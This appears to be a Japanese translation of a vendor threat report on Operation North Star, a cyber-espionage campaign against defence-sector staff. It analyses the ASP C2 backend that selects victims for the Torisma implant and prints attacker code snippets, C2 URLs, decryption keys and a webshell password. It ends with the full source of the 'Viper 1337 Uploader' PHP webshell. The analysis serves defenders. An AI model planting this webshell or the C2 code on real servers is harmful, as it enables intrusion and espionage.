オペレーション ノーススターの舞台裏


エグゼクティブサマリー

デジタルの世界での大規模なサイバースパイ活動の舞台裏を見るという機会は滅多にありません。被害者、マルウェアサンプル、時にはコマンド＆コントロール（C2）インフラストラクチャのIPアドレスの履歴など、明らかにされるのはいつも限られた情報のみです。

マカフィーが今年の初めにオペレーション ノーススター攻撃について詳細な紹介をした際もそうでした。この攻撃はソーシャルメディアサイト、スピアフィッシング、武器化したドキュメントを使って国防関連の組織で働く従業員を標的にするものでした。この時の分析では、攻撃者の最初の侵入経路、マルウェア インプラントがどのようにしてインストールされていくのか、そしてコマンド＆コントロール（C2）サーバーとどのように交信するのかに焦点を当て、分析を行いました。

しかし、その報告ではセカンダリペイロードの存在や脅威者がどのようにその作戦を実行し、誰を標的にしたのかなどの情報が欠落していました。この最新レポートでは、今回新たに特定された情報をもとに、攻撃者が実行するバックエンドインフラストラクチャについてかつてない深い分析を行います。 

また、今回新たに発見されたマルウェア インプラント「Turisma」について明らかにしています。しかし、もっと重要なのは、攻撃されたシステム上でデータ保護のために実行されたセキュリティ対策について述べている点です。特に標的にならなかった組織では攻撃者のセカンダリペイロードを阻止するために、許可リストとブロックリストが採用されていることがわかりました。これは攻撃者が「テンプレートの挿入」を使っているだけでなく、実行する操作についても一定の技術革新があったことを物語っています。

最後に、敵の攻撃がどの程度成功したのかは確認できませんが、C2ログファイルを分析したところ、オーストラリア、イスラエル、ロシアのインターネットサービスプロバイダ（Isp）、ロシアとインドに拠点を置く国防関連の請負業者のIPアドレスへの攻撃を仕掛けていたことがわかりました。

この調査報告は、世界中のシステムを標的とし、攻撃するために敵が使用した技術と戦術に関する独自の情報と見解を提供するものです。


侵害されたサイト

オペレーション ノーススターはイタリアなど各国のアパレル企業やオークションハウスそして印刷会社などのドメインに侵入し、C2インフラストラクチャを構成していました。これらのURLが悪意のあるASPページを含む悪意のあるDOTMファイルをホストするようにしたのです。

  • hxxp://fabianiarte.com:443/uploads/docs/bae_defqa_logo.jpg
  • hxxps://fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg
  • https://www.fabianiarte.com/include/action/inc-controller-news.asp

例えばイタリアのアートギャラリーのドメインfabianiarte.com（fabianiarte.it）にバックエンドサーバーコードと悪意のあるDOTMファイルをホストさせるために侵入していました。このドメインはDOTMファイルをホストし、それがオペレーション ノーススターのために国防関連企業のジョブプロファイルを模倣するのに使われていました。またこのドメインにはインプラントで使用されたと思われる基本的なバックエンドサーバーコードも含まれていました。このドメインの侵入に付随するログファイルとコピーが出回っていたことが、理解を深める手掛かりとなりました。このデータキャッシュを分析したところ、このサイトは2020年9月9日コードをホストする目的で攻撃されました。

2つのDOTMファイルがこのログキャッシュとその他の侵入データで発見されました。悪意のあるVBスクリプトのハードコード値から、これらのDOTMファイルは攻撃510および511のものであることがわかります。

  • 22it-34165.jpg
  • 21it-23792.jpg

耐解析処理技術の発展

分析中に、私たちはバックエンドに関連するデータのキャッシュの中に2つのDOTMファイルを発見しました。C2サーバーへの第1段階のインプラントを7か月間にわたって分析したところ、攻撃者がさらに難読化して分析者を混乱させようと試みていたことがわかりました。

7月に出現したこれらのDOTMファイルには、初期の調査時と同じ場所に第1段階のインプラントが埋め込まれていました。しかし他の悪意のあるDOTMファイルからの既存のインプラントはbase64で二重エンコードされていました。そしてインプラント自体はそれ以上難読化されていませんでした。その一方で、私たちが初期の調査で詳述した手法と比べて、いくつかの顕著な変更が見られました。

  • DOTMファイルに入れ子になっている第1段階のインプラントは、Visual Basicマクロのトリプルbase64エンコードを使用
  • 抽出されたDLL（dat）は、分析をより困難にするためにパッカー「Themida」で圧縮

DOTMファイルから抽出された第1段階のインプラントには、暗号化された構成ファイルと中間ドロッパーDLLが含まれています。いったん復号化されると、構成ファイルには第1段階インプラントの情報が含まれるようになります。この情報には、C2のURLと「Torisma」という第2段階のペイロードの復号キーが含まれています。

復号化された構成ファイルの内容

構成ファイルにはC2との通信方法に関する情報が含まれているため、パラメータオプション（ned、gl、hl）も格納されています。このケースでは、nlとして知られている未知の第四のパラメータが表示されていますが、サーバー側のASPコードには実行されていないようです。攻撃者はそれを将来的に使用しようとしていた可能性があります。

nlパラメータの登場

また、攻撃を受けたサーバーのバックエンド部品の解析をすることで、攻撃者がどのくらいの時間アクセスしていたかを時系列で示すことが可能になります。例えば、前述のDOTMファイルは攻撃されたC2サーバーに2020年7月に設置されていました。バックエンド操作に関連する悪意のある主なコンポーネントの一部は、このサーバーに2020年1月にインストールされているので、このC2サーバーは7か月間運用されていたことになります。


オペレーション ノーススターの核心である「バックエンド」を徹底調査

Inc-Controller-News.ASP

オペレーション ノーススターに関する初期の調査で述べたように、攻撃にはDOTMファイルで実行された第1段階のインプラントが含まれていました。この調査では、C2サーバーに送信されたインプラントに使われた特定のパラメータが見つかりました。

インプラント「wsdts.db」を追加で分析すると、被害者のシステムの情報を収集していることが明らかになりました。例えば：

  • システムディスク情報の取得
  • 空きディスク領域の情報の取得
  • コンピュータ名と（ログインしている）ユーザー名を取得
  • プロセス情報

情報が収集されると、パラメータ（ned、gl、hl）を使用してC2サーバーに通信されます。

これらのパラメータの解釈は難読化されたサーバー側のASPページによって行われ、被害者に対して実行されるアクションによって送信される値は異なります。サーバー側のASPページはサーバーに2020年1月に設置されていました。

さらに、この情報に基づいて、攻撃者はC2コンポーネントをインストールするためにIISを実行しているWindowsサーバーを標的にします。

サーバー側のASPページには、解読されると第1段階のインプラントとやりとりするように設計されたコードを開示する、高度に難読化されたVBScriptが埋め込まれています。ASPページはVBScriptコードを難読化するVBScript.Encodeメソッドでエンコードされています。第1段階のインプラントは、これらの有限パラメータを使用してサーバー側のASPページとやりとりします。

エンコードされたVBScript

VBScriptが解読されると、非常に複雑な関数セットが明らかになります。これらの関数により、次の段階のインプラントが被害者のシステムにインストールされます。これらのインプラントはbase64でエンコードされており、「Torisma」および「Doris」の名で知られています。スクリプト内のロジックに基づいて条件が満たされると、バイナリストリームを通じてメモリに直接ロードされます。

解読されたVBScript

ASPサーバー側のスクリプトには、Torismaのインプラントが記述されていると思われる場所にバイナリ ストリームを作成するコードが含まれています。また私たちは、TorismaインプラントがASPページに埋め込まれていて、base64のBLOBを解読するとAES暗号化ペイロードが明らかになることも発見しました。このASPページには、このインプラントを復号して被害者にわたすロジックの存在を示すエビデンスが含まれています。

function getbinary(sdata)

const adtypetext = 2

const adtypebinary = 1

dim binarystream

dim aa

aa = “adodb.stream”

set binarystream = createobject(aa)

binarystream.type = adtypetext

binarystream.charset = “unicode”

binarystream.open

binarystream.writetext sdata

binarystream.position = 0

binarystream.type = adtypebinary

binarystream.position = 2

getbinary = binarystream.read

end function

送信された値に応じて、標的とする被害者に対して追加の攻撃が実行されます。サーバー側スクリプトをさらに分析すると、一定のメカニズムに依存するロジックが存在することがわかります。これにより、攻撃者は許可リストのファイルに被害者のIPアドレスを登録します。第2段階のインプラントを実行するには、まずこの条件を満たす必要があります。これは、攻撃者がバックエンドのデータを確認し、被害者を選別している可能性を示唆しています。また、これは別のASPページ（template-letter.asp）を通じて実行しているものと予想されます。

サーバー側のASPページには、追加のコードを実行するために、次のパラメータを使用して送信されるデータを解明するコードが含まれています。これらのパラメータの値は、はじめにDOTMファイルで実行される第1段階のインプラントによって送信されます。これらのパラメータについては最初の調査でも取り上げましたが、C2バックエンドコードを入手したところ、攻撃者の本当の目的を明らかにする新たな情報が見つかりました。

Parameter Description
NED DOTMマクロに埋め込まれた攻撃キャンペーンコード
GL システム情報
HL OSアーキテクチャを示すフラグ（32または64ビット）

URLクエリ文字列は、次の形式でC2サーバーに送信されます。

http://hostname/inc-controller-news.asp?ned=campaigncode&gl=base64encodeddata&hl=0

さらに、感染した被害者のIPアドレスを取得するコードが存在します。この情報は、IPアドレスが許可されているか、ブロックされているかをチェックするために使用されます。許可されていれば第2段階に進み、ブロックされているれば第2段階は阻止されます。前述のように、偽のMP3ファイルへの被害者のIPアドレスの追加は手動で行われている可能性が高く、第1段階のインプラントを通じて着信接続を識別しているようです。

function getstripaddress()

on error resume next

dim ip

ip = request.servervariables(“http_client_ip”)

if ip = “”

then ip = request.servervariables(“http_x_forwarded_for”)

if ip = “”

then ip = request.servervariables(“remote_addr”)

end if end

if

getstripaddress = ip

end function

全てのロジックのコードによって、接続しているクライアント マシンのIPアドレスを取得し、ログファイルに被害者のエントリを書き込みます。最も興味深いのは、このコードを分解する際にさまざまな関数が使用されていることです。これらのログファイルは、変数のstrlogpathに基づき、侵入されたサーバーのWWWルート内にも格納されます。

以下から、被害者（gl）とOSアーキテクチャ（32ビットまたは64ビット）からシステム情報を取得するため、vbscriptの以下のコードスニペットから、「gl」と「hl」パラメータを使用して、クエリを実行していることがわかります。

strinfo=replace(request.form(“gl “),””,” + “):strosbit=replace(request.form(“hl “),””,” + “)


被害者のログ

攻撃者は、サーバー側のASPコードのログ機能を通じて、被害者を追跡します。さらに、上記のように、バックエンドサーバーコードは、第1段階のインプラントの通信の結果に基づいて被害者のログを実行する機能が備わっています。このログファイルは、侵入されたC2サーバー上の WWWルートディレクトリに格納されます。次のコード スニペットは、[日付、IPアドレス、ユーザー エージェント、攻撃キャンペーンコード（NED）、システム情報（GL）、OSアーキテクチャ（HL）]の形式でログファイルにデータを書き込みます。

strlog = date() & “” & formatdatetime(now(), 4)

r = writeline(strlogpath, strlog)

r = writeline(strlogpath, stripaddr)

r = writeline(strlogpath, strua)

r = writeline(strlogpath, strcondition)

r = writeline(strlogpath, strinfo)

r = writeline(strlogpath, strosbit)

サーバー側のASPコードは、MP3ファイルを装った2つのサーバー側ファイルにIPが存在するかどうかをチェックし、IPアドレスが許可リストまたはブロックリストに登録されているかどうかを確認します。IPアドレスは、MD5ハッシュを作成する関数としてサーバー側コードに含まれるMD5ハッシュの形式で格納されます。コードは、変数strWorkDirに基づいて、侵入したサーバーのWWWルートにあるこれらのファイルを探します。

「許可リスト」を使用するということは、標的のリストがあらかじめ決められ、含まれていた可能性があることを示しています。

strWorkDir = “C:\”:strLogPath=strWorKdir&”lole3D_48_02_05.mp3″:StrWhiteFile=strWorkDir&”wole3D_48_02_05.mp3 “:strBlAcKFile=strWorkDir&”bole3D_48_02_05.mp3”:stripAddr=GeTStrIpAddress():strMD5IpAddr=MD5(strIpAddr):strUA=Request.serveRVariables(“HTTP_USER_AGENT “)

IP許可リスト/ブロックリストチェック

MD5ハッシュ生成の場合、システムは IPアドレスに対して標準形式でないハッシュを使用しているように見えます。ほとんどの場合、MD5の生成にはMicrosoftの暗号化サービスプロバイダのビルドが使用されます。ただしこのケースでは、攻撃者は代わりにカスタマイズされた手法の使用を選択しています。

IPアドレスはこの方法を使用して取得され、ハッシュされます。

stripaddr=getstripaddress()
strmd5ipaddr=md5(stripaddr)

次の関数（ipopk）は、ハッシュされたIPを格納するファイルから読み取るように設定され、その後条件付きブロックステートメントで使用されます。以下のコードはファイルを開いて読み取りますが、データがない場合はipokのフラグが0になり、データがあれば結果の値は1になります。

function ipok(hashfile, stripaddr)

on error resume next

dim fso, fs, linedata

set fso = server.createobject(“scripting.filesystemobject”)

set fs = fso.opentextfile(hashfile, 1, true)

ipok = 0

do until fs.atendofstream

linedata = lcase(fs.readline)

if len(linedata) > 0 and instr(stripaddr, linedata) then ipok = 1

exit do

end if loop

fs.close

set fs = nothing

end function

次のコードは、感染した被害者がTorismaインプラントを受け取るかどうかを判断するロジックです。一連のケースを使用し、コードに示されている特定の条件に応じて決定します。以下、ケースについて説明します。

  • 被害者のIPアドレスが許可リストにあり、OSアーキテクチャのビット値が「1」（64ビットに似ている）の場合、Torismaの64ビット版インプラントが被害者に送信されます。ログファイルには、気づかないうちに、64ビット版のTorismaインプラントが送信されたということを意味する「case_1_64」という用語が書き込まれます。
  • 2番目のケースも同じで、ただ今度は32ビット版のOS（値 0）に対し、Torismaの32ビット版のインプラントが送られてきたことを意味する用語「case_1_86」が書き込まれています。
  • 32/64ビットのOSアーキテクチャのブロックリストに被害者のIPアドレスが入っている場合、「doris_x86」「doris_x64」という意味のないペイロードが被害者に送信されます。例えば、この場合、DoriS_x86=”ddddddd”が「doris_x86」の値でした。
  • 被害者から条件「24」が返された場合、ログエントリには値「case_3」が書き込まれ、インプラントは送信されず、HTTP応答ステータスコード405が送信されます。
  • 上記の条件がどちらも満たされない場合、ログファイルに「case_4」と書き込まれ、インプラントは送信されず、これもまたHTTP応答ステータスコード405が送信されます。

TTP応答ステータスコード405は、リクエストメソッドがサーバーによって認識されているが、対象のリソースは対応していないことを示します。

if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_1_64 “) strresdata = strbase64_torisma_x64

 

else if ipok(strwhitefile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_1_86 “) strresdata = strbase64_torisma_x86

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “1 “) > 0 then r = writeline(strlogpath, “case_2_64 “) strresdata = strbase64_doris_x64

 

else if ipok(strblackfile, strmd5ipaddr) = 1 and instr(strosbit, “0 “) > 0 then r = writeline(strlogpath, “case_2_86 “) strresdata = strbase64_doris_x86

 

else if instr(strcondition, “24 “) > 0 then r = writeline(strlogpath, “case_3 “) response.status = “405”

else r = writeline(strlogpath, “case_4 “) response.status = “405 “end

第2段階のインプラントを実行するためのロジック


Torismaインプラントの中身

オペレーション ノーススターの主な目的の1つは、一連のロジックに基づいて攻撃対象の被害者のシステムにTorismaインプラントを組み込むことであるといえます。また最終的な目標は、Torisma感染後にカスタムシェルコードポストを実行し、被害者の特定のプロファイルに応じてカスタムアクションを実行することです。前述のように、Torismaは被害者からコマンド＆コントロールサーバーに送信されたデータに基づいて実行されます。このプロセスは、DOTMファイルに埋め込まれたVBマクロから抽出された第1段階のインプラントに依存します。

一般的なプロセスフローとコンポーネントの関係

Torismaは、base64でエンコードされたBLOBとしてサーバー側のASPページに埋め込まれている第2段階のインプラントで、これまでは知られていませんでした。埋め込まれているのは64ビット版または32ビット版で、被害者から送信されるOSアーキテクチャのフラグ値に応じて送信されるバージョンが決定されます。さらに、このインプラントは、被害者とコマンド＆コントロール（C2）サーバーのやりとりの結果、メモリに直接ロードされます。攻撃者は相当手間をかけて、この特定のケースに関与する第1段階と第2段階のインプラントを難読化し、暗号化し、圧縮していました。

TorismaがBase64からデコードされると、インプラントはAESキーを使用してさらに暗号化され、圧縮されます。サーバー側のASPページには、Torismaインプラント自体を復号化するロジックは含まれておらず、むしろ第1段階のインプラントに含まれる復号化ロジックに依存しています。復号キーは、C2サーバーのURLと共に、暗号化された構成ファイルにあります。

これにより、侵入されたサーバーコードがインシデント レスポンダーによって復元される場合に、インプラントの復元がより困難になります。

この解読方法は、構成ファイルに格納された復号キーを使用して第1段階のインプラントによって実行されます。使用される鍵はstatic32ビットAESキーです。Torismaは復号キー78b81b8215f40706527ca830c34b23f7を使って解読することができます。

また、Torismaバイナリを復号後、lz4で圧縮され、新たな保護レイヤーが追加されることもわかりました。コードを解凍することで、Torismaとその能力を分析し、オペレーション ノーススターと第2段階のインプラントに関する理解を深めることができました。

私たちが分析したインプラントの亜種は2020年7月2日に作成されました。しかし、inc-controller-news.aspが2020年の初頭にC2に設置されたことを考えると、何度か修正が加えられた可能性があります。

この分析に基づくと、Torismaは以下のURLで情報を送受信していることになります。

  • hxxps://www.fabianiarte.com/newsletter/arte/view.asp
  • hxxps://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
  • hxxp://scimpex.com:443/admin/assets/backup/requisition/requisition.php

暗号化された構成ファイル

Torismaは、第1段階のインプラントと同様に暗号化された構成ファイルを使用して、コマンド＆コントロールとして、どの URLと通信するかを示します。

復号化された構成ファイル

Torismaの構成ファイルは、C2チャネルを介して送信される通信に加えて、アルゴリズムVEST[1]を使用して暗号化されます。マカフィーの調査によると、この暗号方式は普通にどこでも使用されているものではないことがわかりました。実際、この技術は提案されたものの、標準装備されなかったものなのです[2]。

また、バックエンドから回復されたFOUND002.CHKファイルは、設定を更新するために使用され、.php拡張子を持つURLのみを含んでいます。これらのURLには、.php拡張子を持つページがあり、バックエンドの一部が.phpで書き込まれている可能性があることを示しています。.phpページのあるサーバーが、攻撃全体の中でどのような役割を果たしているのかは不明です。しかしTorismaの文字列と関数から、page view.aspを使用してファイルを送受信するように設計されたコードがあることが確認できます。このview.aspページは私たちの分析によるとTorismaのインプラントのバックエンドです。view.aspの詳細については、この分析の後半で説明しますが、同ページにはリクエストを処理し、Torismaのインプラントに感染した被害者とデータを送受信するための基本的な機能が含まれていることがわかっています。


主な機能

マカフィーの分析によると、Torismaコードは特殊な監視に特化した、カスタム開発されたインプラントです。

Torismaの役割は、システムに追加された新しいドライブとリモートデスクトップ接続を監視することです。これは被害者のシステムをアクティブに監視し、監視されたイベントに基づいてペイロードの実行をトリガーすることに特化した、より専門的なインプラントと想定されます。Torismaの最終的な目的は、被害者のシステムでシェルコードを実行し、結果をC2に送り返すことです。

Torismaのコードは、情報収集のための監視ループを実行することから始まります。

設定に基づき監視をトリガー

一般的なプロセス

まず最初に、設定に基づいて監視が有効になっているかどうかを確認してから、監視ルーチンを実行します（デフォルトでは無効）。このプロセスの一般的なロジックは次のとおりです。

  1. 監視が無効になっている場合は戻る
  2. Elseが監視を行うコードを呼び出し、完了時に一時的に監視を無効にする
  3. 設定された値に基づいて指定された時間中監視を実行
  4. 監視機能が戻ると、コードはコマンド&コントロール（C2）の通信に進む
  5. 通信に繰り返し障害が発生した場合、インプラントは1時間にわたり監視を強制し、通信を再試行する
  6. 無限に繰り返す
設定に基づき監視をトリガー

監視

監視ループは、GETAdapterSInfoを使用してWTSEnumerateSessionsWのアドレスとローカルMACアドレスを取得します。

  1. 十分な時間が経過する（エンドタイムがパラメータを渡すまで）または関心のあるイベントが発生するまで、コードはループで実行されます。
監視ループ

2.論理ドライブとリモート デスクトップのセッション（RDS）の数の増加を監視します。上記のいずれかが発生すると、ステータスコードが設定され（5.新しいドライブ、6.新しいRDSセッション）、監視ループが停止します。

ドライブトラッキング

a.GetlogicalDrivesを使用して、システム上で利用可能なすべてのドライブのビットマスクを取得し、可能な各ドライブレターを繰り返し処理します

b.また、GetDriveTypeを使用して、新しいドライブがCD-ROMドライブではないことを確認します

ドライブタイプの確認

3.以前にあったドライブの数を追跡し、数が増加している場合は1を返します

RDPセッションの追跡

RDPセッション追跡機能は、ドライブトラッキングと同じように動作します。数が一つ増加すると、1を返します。WTSEnumerateSessionsWを使用してセッションのリストを取得し、それらを繰り返し処理してアクティブなセッションを数えます。

アクティブなRDPセッションを取得
アクティブなRDPセッションを取得（続き）


コマンド＆コントロール（C2）通信

このC2コードは興味深いもので、カスタム仕様です。このプロトコルの一般的なプロセスは次のとおりです。

1.このステップ全体を通して使われる接続用IDを、モジュールごとに5バイトのランダムバイト（0x63）の16進数の文字列として生成し、GetTickCount64の出力をランダムにシードします。

接続用IDの生成

2.次に、宛先のURLをロードします

a.インプラントには暗号化されたBLOBとしてハードコーディングされた利用可能なサーバーが3つあります。

b.復号化はVEST-32 暗号化アルゴリズムとハードコードされたキーff7172d9c888b7a88a7d7737212d7722272を使用して行われます。

設定の復号化

c.この設定を選択するには、ランダムな設定番号（mod6）が選択されます

d.利用可能な設定は3つしかありません。選択した設定番号が3を超える場合は、1が選ばれるまで増加（mod 6）し続けます。このようなプロセスのため、設定0が選択される可能性が高くなります。

設定を選択するコード

3.設定から取得したURLにPOST要求を「VIEW」アクションで送信します。ハードコードされた次の書式指定文字列を使用して要求をビルドします。

 

post => ACTION=VIEW&PAGE=%s&CODE=%s&CACHE=%s&REQUEST=%d

=> PAGE=drive_count

CODE=RDS_session_count

CACHE=base64(blob)

Request=Rand()

 

blob: size 0x43c

blob[0x434:0x438] = status_code

blob[0x438:0x43c] = 1

blob[0:0x400] = form_url

blob[0x400:0x418] = mac_address

blob[0x418:0x424] = connection_id (random)

blob[0x424:0x434] = “MC0921” (UTF-16LE)

a. このプロセスは、「あなたの要求は受け入れられました」という趣旨の文字列の戻り値を探します。成功すると、ClientID:{f9102bc8a7d81ef01ba}が表示される

4.成功すると、POST要求を通じてC2からデータを取得します。今回はPREVPAGEアクションを使用します

a.POST要求には次の書式指定文字列が使用されます

ACTION=PREVPAGE&CODE=C%s&RES=%d

With: CODE = connection_id (from before)

RES = Rand()

b.サーバーから受信した応答は暗号化されます。それを解読するには、次のプロセスが必要です

i.空白を+に置き換える
ii.Base64が結果を解読
iii.キー「ff7172d9c888b7a88a7d77372112d772」でデータを復号化

キーを使用してサーバーをデコード

4.データに対してXORを実行

    データに対してXORを実行

    7.復号化されたデータは、サーバーからシェルコードを実行してデータを送り返すために使用されます

    a.サーバーからのデータは、実行するペイロードと渡されたデータの引数に分割されます。

    b.サーバーから送信されるデータBLOBの一部は、監視に使用されるローカル設定を更新するために使用されます

    i.最初の8バイトはadd+xorループに送られ、ハードコードされた値と比較するため変換されます

    設定確認
    設定確認（続き）

    ii.変換されたデータが2つのハードコード値のいずれかに一致した場合、ローカル設定は更新されます
    　

    iii.また、サーバーは（ドライブ/RDS）を監視する期間を更新することができます

    iV.期間が 0x7620（21 日）を超える場合、上記の設定で無効にされている場合でも、監視が再度有効になります

    v.変換されたデータが2つのハードコードされた値のいずれにも一致しない場合、監視は設定によって無効になります

    c.インプラントは新しい通信スレッドを作成し、続行の通知があるまで待機します。その後、シェルコードの実行に進み、もう一方のスレッドが終了するのを待ちます。

    d.発生した内容（エラーが発生した、または監視が有効/無効になった）に応じて、コードは、コードを再実行するか、監視プロセスに戻す必要があるかを判断するマジック値を返します。

    通信ループに戻る

    8.通信スレッドは、シェルコードとの通信を目的とする新しい名前付きパイプを作成します。パイプの準備が完了したら、他のスレッドに通知し、パイプから読み取ったデータをサーバーに送信します。

    a.パイプ名は\\.\pipe\fb4d1181bb09b484d058768598b

    名前付きパイプのコード

    b.パイプからデータを読み取ります（そして「- – – – – – – – – –」が見つかった場合は、処理が完了したとしてフラグを立てます）

    c.そして次の形式で POST を送信して、読み取ったデータを C2 に送信します

    ACTION=NEXTPAGE

    ACTION=NEXTPAGE&CODE=S%s&CACHE=%s&RES=%d

    CODE=connection_id

    CACHE=base64(message)

    RES = Rand()

    d.データは以前と同じパターンに従って暗号化されます。データは最初 XOR（排他的論理和）され、その後、前と同じキーで VEST-32 を使用して暗号化されます。

    e.これはペイロードスレッドが「- – – – – – – – 」メッセージを送信するか、投稿が失敗するまで繰り返されます


    攻撃用のID

    だれがどの第1段階インプラントのバージョンに感染しているのかを追跡する1つの方法は攻撃用のIDを使用することです。これらのIDは、第1段階のmaldocによって取得されるテンプレート ドキュメントファイルの VBマクロにハードコーディングされています。

    それらは先ほど説明したようにNEDパラメータを通してバックエンド サーバーに送信され、さらに ASPコードによって読み取られ、解釈されます。


    被害者について

    Inc-Controller-News.aspのRAWアクセスログから、影響を受けた国の把握が可能で、それは別の.aspページ（view.asp）で発見したログと一致します。これについては、後ほど解説します。

    あるC2ログファイルに基づき、被害者について次のような情報を特定することができました。 

    • ロシアの国防関連業者
    • イスラエルの2つのISPアドレス空間の2つのIPアドレス
    • オーストラリアのISP空間の複数のIPアドレス
    • ロシアのISPアドレス空間のIPアドレス
    • インドを拠点とする国防関連業者

    Template-letter.asp

    調査の中で追加的なASPページの発見につながるさらなる情報が見つかりました。攻撃された同一のコマンド＆コントロールサーバーで発見された1つのASPページに、興味深いコードが含まれていました。 まず、この ASPページはTorismaインプラントを実行するコードで見られたVBエンコードを使用するという同じ方法でエンコードされています。また、コードは攻撃者が管理するコアバックエンドの一部であり、元のファイル名はboard_list.aspということがわかりました。サブミッション データによればファイル「board_list.asp」は、2017年10月に初めて韓国で登場しました。このことは、同ウェブシェルの同コードが2017年以来使用されているということを意味しています。

    さらに、このASPページはカスタムウェブシェルであり、我々の知る限りでは、一般的な既成のウェブシェルではなく、これらの攻撃専用のものです。攻撃には、ファイルの閲覧、コマンドの実行、データベースへの接続などが含まれます。攻撃者はログインページを提示され、「venus」のデフォルトの base64 エンコード パスワードを使用してログインできます （この値はこのページのソースにハードコードされています）。

    Template-Letter.ASPメインページ
    コマンドを実行する機能

     


    VIEW.ASP -Torismaバックエンド

    View.ASPファイルは、inc-controller-news.aspファイルと同様に重要であり、興味深い機能を備えています。このASPページは、Torismaインプラントのバックエンドコードであり、その機能は被害者と対話することを目的としています。

    View.aspファイルのコードには次のようなリファレンスが含まれています。

    「FOUND001.CHK」には「ログファイル」が含まれています。CONST：定数名は「logvault」を指している可能性があります。

    被害を受ける可能性のある人を分析すると、興味深いリストが明らかになりました。

    • ロシアを拠点とする国防関連請負業者
    • イスラエルの2つのISPアドレス空間の2つのIPアドレス
    • ロシアのISPアドレス空間のIPアドレス
    • インドを拠点とする国防関連業者

    ファイル「FOUND002.CHK」には、次の復号化を行うBase64文字列が含まれています。

    hxxps://www.krnetworkcloud.org/blog/js/view.php|www.krnetworkcloud.org|2|/blog/js/view.php|NT

    上記のドメインは、インドのIT教育会社のものであり、悪意のあるコードをホストするために攻撃された可能性があります。 

    「FOUND002.CHK」のCONST定数名は「cfgvault」であり、最初の3文字は「設定」を指す可能性があります。このASPコードには追加の機能があり、このページがスキーム全体でどのような役割を果たすかを示しているようです。View.asp は、前述したように、Torismaインプラントからのバックエンドコードで、インプラントからの様々の要求を処理するために多数の機能を持っています。Torismaインプラントとこのバックエンドコードの両方を分析したところ、いくつかの興味深い点が判明しました。まず、ASPコードにはTorismaとの対話に応じて、このバックエンドで実行できる一般的なアクションがあります。

    これらのアクションの中には、インプラントの接続によって引き起こされるものと、別のプロセスによって呼び出されるものがあります。ASPのメインページは、いくつかの呼び出しオプションを持つリクエストACTIONに基づいて、着信リクエストを処理するようになっています。C2通信ではインプラントが「ACTION」メソッドによって動作することを考えると、これらのケースのいくつかを選ぶことができたでしょう。しかしTorismaにはNEXTPAGEおよびPREVPAGEの要求/応答メカニズムを呼び出して処理するコードのみなので、これらの他のアクションは、攻撃者が他のプロセスを通じて実行している可能性が高いです。

    View.ASPによる一般的なアクション

    ViewPrevPage

    分析で説明したように、ViewPrevPageアクションは、Torismaからの受信要求を処理しデータを取得するために設計された機能です。Torismaに送信されるデータは、~dmfファイルの形式で表示されます。ViewPrevPageアクションのこのコンテンツは、シェルコードの形で提供され、そのインプラント自体が行う分析に従って被害者側で実行されることを目的としています。

    ViewPrevPage機能

    ViewNextPage

    Torismaはこのメソッドを使用して、名前付きパイプから読み取ったデータをC2サーバーに送信します。これは、ViewPrevPageアクションを通じて被害者のシステムでシェルコードが実行された結果であり、この実行の結果はこの関数を使用して送信および処理されます。

    インプラントがC2にデータを送信

    ViewGallery

    Torismaには、この関数を直接呼び出す機能はなく、おそらくアップストリームサーバーに実装されている別の管理ツールから呼び出される可能性が高いです。このメソッドを静的分析すると、base64エンコード形式でログファイルを取得し、応答を書き込むようになっている可能性が高いことが明らかになりました。Torismaインプラントと同じく、呼び出しコンポーネントが受け取る応答文字列の中には、ログファイルの取得に成功したのでログファイルを削除する必要があると示すものがあります。

    ログファイルの内容をbase64形式で取得し、書き込む（ViewGallery）

    ViewMons

    Torismaで使用されていないもう一つの関数は、ローカル設定ファイルを設定するためのものです。ACTIONとは異なるリクエストメソッドを使用しているようです。このケースではMAILTOを使用しています。Torismaから集めた情報から、これはインプラントで使用される設定ファイルに関連していることが推測できます。

    ViewMons関数

    SendData

    この関数はRedirectToAdminメソッドでのみ使用され、アップストリームのC2にデータを送信するためのメカニズムです。cfgvault変数に格納されている値に基づくGetConfig関数に依存しています。

    Send Data

    RedirectToAdmin

    この関数は、感染した被害者からマスターサーバーアップストリームに情報をリダイレクトするために使用されます。これは、Torismaが直接的に通信を行っていることが確認されているC2以外にも、さらにインフラが存在することを示す興味深い関数です。


    WriteAgentLog

    Torismaで被害者を追跡するプロセスの一環として、ASPコードにはログファイルを書き込む関数があります。これらのログファイルからTorismaを実行している被害者に対するシェルコードによる攻撃が成功したことを示しています。このロギングメソッドは、監視対象の被害者と関連のあるユーザーエージェントとIPアドレスをキャプチャします。この関数は、情報がRedirectToAdminメソッドを通じてマスター サーバーに送信されるときに呼び出されます。

    サーバーログを分析したところ、2020年7月にView.ASPページに接続したのは次の国です。

    • インド
    • オーストラリア
    • イスラエル
    • フィンランド

     ウェブシェル

    分析を進める中で、攻撃者がウェブシェルを使用してアクセスを維持していることが判明しました。同じ攻撃者が感染させた別のサーバーで、同じタイプのコードを持つPHPウェブシェル「Viper 1337 Uploader」が発見されました。私たちの分析によると、これはViper 1337 Uploaderの修正版です。

    <title>Viper 1337 Uploader</title>

    <?php

    echo ‘<form action=”” method=”post” enctype=”multipart/form-data” name=”uploader” id=”uploader”>’;

    echo ‘<input type=”file” name=”file” size=”50″><input name=”_upl” type=”submit” id=”_upl” value=”Upload”></form>’;

    if( $_POST[‘_upl’] == “Upload” ) {

    if(@copy($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’])) { echo ‘<b>Shell Uploaded ! :)<b><br><br>’; }

    else { echo ‘<b>Not uploaded ! </b><br><br>’; }

    }

    ?>

    <?php

